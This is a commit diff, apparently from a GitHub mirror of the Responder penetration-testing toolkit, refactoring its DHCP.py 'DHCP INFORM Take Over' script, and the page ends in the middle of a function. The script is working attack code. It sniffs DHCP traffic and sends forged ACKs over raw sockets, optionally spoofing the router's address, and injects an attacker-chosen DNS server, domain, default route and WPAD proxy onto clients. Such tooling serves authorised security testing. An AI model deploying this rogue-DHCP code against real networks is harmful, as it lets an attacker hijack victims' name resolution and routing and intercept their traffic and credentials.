mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-11 15:46:14 -07:00
Merge branch 'responder-refactoring' of https://github.com/jrmdev/Responder into responder-refactoring
This commit is contained in:
commit
3c00567fa6
3 changed files with 523 additions and 498 deletions
572
tools/DHCP.py
572
tools/DHCP.py
|
@ -21,352 +21,320 @@ import re
|
|||
import optparse
|
||||
import ConfigParser
|
||||
import os
|
||||
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, BASEDIR)
|
||||
from odict import OrderedDict
|
||||
from socket import inet_aton, inet_ntoa
|
||||
from packets import Packet
|
||||
from utils import *
|
||||
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||
parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||
parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||
parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||
parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
|
||||
parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
||||
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
|
||||
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
def ShowWelcome():
|
||||
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
|
||||
print Message
|
||||
|
||||
if options.Responder_IP is None:
|
||||
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
if options.Interface is None:
|
||||
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
|
||||
exit(-1)
|
||||
|
||||
if options.RouterIP is None:
|
||||
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP is None:
|
||||
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP2 is None:
|
||||
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
|
||||
exit(-1)
|
||||
|
||||
ShowWelcome()
|
||||
|
||||
#Config parsing
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
print '#############################################################################'
|
||||
print '## DHCP INFORM TAKEOVER 0.2 ##'
|
||||
print '## ##'
|
||||
print '## By default, this script will only inject a new DNS/WPAD ##'
|
||||
print '## server to a Windows <= XP/2003 machine. ##'
|
||||
print '## ##'
|
||||
print '## To inject a DNS server/domain/route on a Windows >= Vista and ##'
|
||||
print '## any linux box, use -R (can be noisy) ##'
|
||||
print '## ##'
|
||||
print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##'
|
||||
print '#############################################################################'
|
||||
print ''
|
||||
print color('[*]', 2, 1), 'Listening for events...'
|
||||
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(ResponderPATH,'Responder.conf'))
|
||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||
|
||||
#Setting some vars
|
||||
Interface = options.Interface
|
||||
Responder_IP = options.Responder_IP
|
||||
ROUTERIP = options.RouterIP
|
||||
NETMASK = options.Netmask
|
||||
DHCPSERVER = options.Responder_IP
|
||||
DNSIP = options.DNSIP
|
||||
DNSIP2 = options.DNSIP2
|
||||
DNSNAME = options.DNSNAME
|
||||
WPADSRV = options.WPAD
|
||||
Spoof = options.Spoof
|
||||
Request = options.Request
|
||||
config.read(os.path.join(BASEDIR,'Responder.conf'))
|
||||
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
|
||||
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
|
||||
Interface = options.Interface
|
||||
Responder_IP = FindLocalIP(Interface)
|
||||
ROUTERIP = options.RouterIP
|
||||
NETMASK = options.Netmask
|
||||
DHCPSERVER = Responder_IP
|
||||
DNSIP = options.DNSIP
|
||||
DNSIP2 = options.DNSIP2
|
||||
DNSNAME = options.DNSNAME
|
||||
WPADSRV = options.WPAD.strip() + "\\n"
|
||||
Spoof = options.Spoof
|
||||
Respond_To_Requests = options.Respond_To_Requests
|
||||
|
||||
if Spoof:
|
||||
DHCPSERVER = ROUTERIP
|
||||
|
||||
def SpoofIP(Spoof):
|
||||
if Spoof:
|
||||
return ROUTERIP
|
||||
else:
|
||||
return Responder_IP
|
||||
|
||||
def RespondToSpecificHost(RespondTo):
|
||||
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToIPScope(RespondTo, ClientIp):
|
||||
if ClientIp in RespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
||||
#####################################################################
|
||||
# Server Stuff
|
||||
#####################################################################
|
||||
DHCPSERVER = ROUTERIP
|
||||
|
||||
##### IP Header #####
|
||||
class IPHead(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x45"),
|
||||
("DiffServices", "\x00"),
|
||||
("TotalLen", "\x00\x00"),
|
||||
("Ident", "\x00\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("TTL", "\x40"),
|
||||
("Protocol", "\x11"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DstIP", ""),
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("Version", "\x45"),
|
||||
("DiffServices", "\x00"),
|
||||
("TotalLen", "\x00\x00"),
|
||||
("Ident", "\x00\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("TTL", "\x40"),
|
||||
("Protocol", "\x11"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DstIP", ""),
|
||||
])
|
||||
|
||||
class UDP(Packet):
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x43"),
|
||||
("DstPort", "\x00\x44"),
|
||||
("Len", "\x00\x00"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("Data", "\x00\x00"),
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x43"),
|
||||
("DstPort", "\x00\x44"),
|
||||
("Len", "\x00\x00"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("Data", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
|
||||
def calculate(self):
|
||||
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
|
||||
|
||||
class DHCPACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x22\x1b\xe0\x1a"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", DNSNAME), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", WPADSRV), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x11\x22\x33\x44"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
])
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
class DHCPInformACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x22\x1b\xe0\x1a"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", DNSNAME), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", WPADSRV), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x11\x22\x33\x44"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
])
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||
def SpoofIP(Spoof):
|
||||
return ROUTERIP if Spoof else Responder_IP
|
||||
|
||||
def ParseMac(data):
|
||||
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if len(RespondTo) and ClientIp not in RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in RespondTo or RespondTo == []:
|
||||
if ClientIp not in DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def IsUDP(data):
|
||||
if data[0][23:24] == "\x11":
|
||||
return True
|
||||
if data[0][23:24] == "\x06":
|
||||
return False
|
||||
return True if data[0][23:24] == "\x11" else False
|
||||
|
||||
def ParseSrcDSTAddr(data):
|
||||
SrcIP = inet_ntoa(data[0][26:30])
|
||||
DstIP = inet_ntoa(data[0][30:34])
|
||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||
return SrcIP,SrcPort,DstIP,DstPort
|
||||
SrcIP = socket.inet_ntoa(data[0][26:30])
|
||||
DstIP = socket.inet_ntoa(data[0][30:34])
|
||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
|
||||
def FindIP(data):
|
||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = inet_ntoa(data[12:16])
|
||||
RequestedIP = inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
if OpCode == "\x08":
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
|
||||
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(CurrentIP,68))
|
||||
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||
RequestedIP = socket.inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
|
||||
if OpCode == "\x03":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
# DHCP Inform
|
||||
if OpCode == "\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"), \
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"), \
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"), \
|
||||
ElapsedSec=Seconds)
|
||||
|
||||
if OpCode == "\x01":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
|
||||
else:
|
||||
return False
|
||||
return 'Acknowleged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
# DHCP Request
|
||||
if OpCode == "\x03" and Respond_To_Requests:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
|
||||
return 'Acknowleged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
# DHCP Discover
|
||||
if OpCode == "\x01" and Respond_To_Requests:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
|
||||
return 'Acknowleged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
Protocol = 0x0800
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
|
||||
def SniffUDPMac():
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
Protocol = 0x0800
|
||||
s.bind((Interface, Protocol))
|
||||
while True:
|
||||
data = s.recvfrom(65535)
|
||||
if IsUDP(data):
|
||||
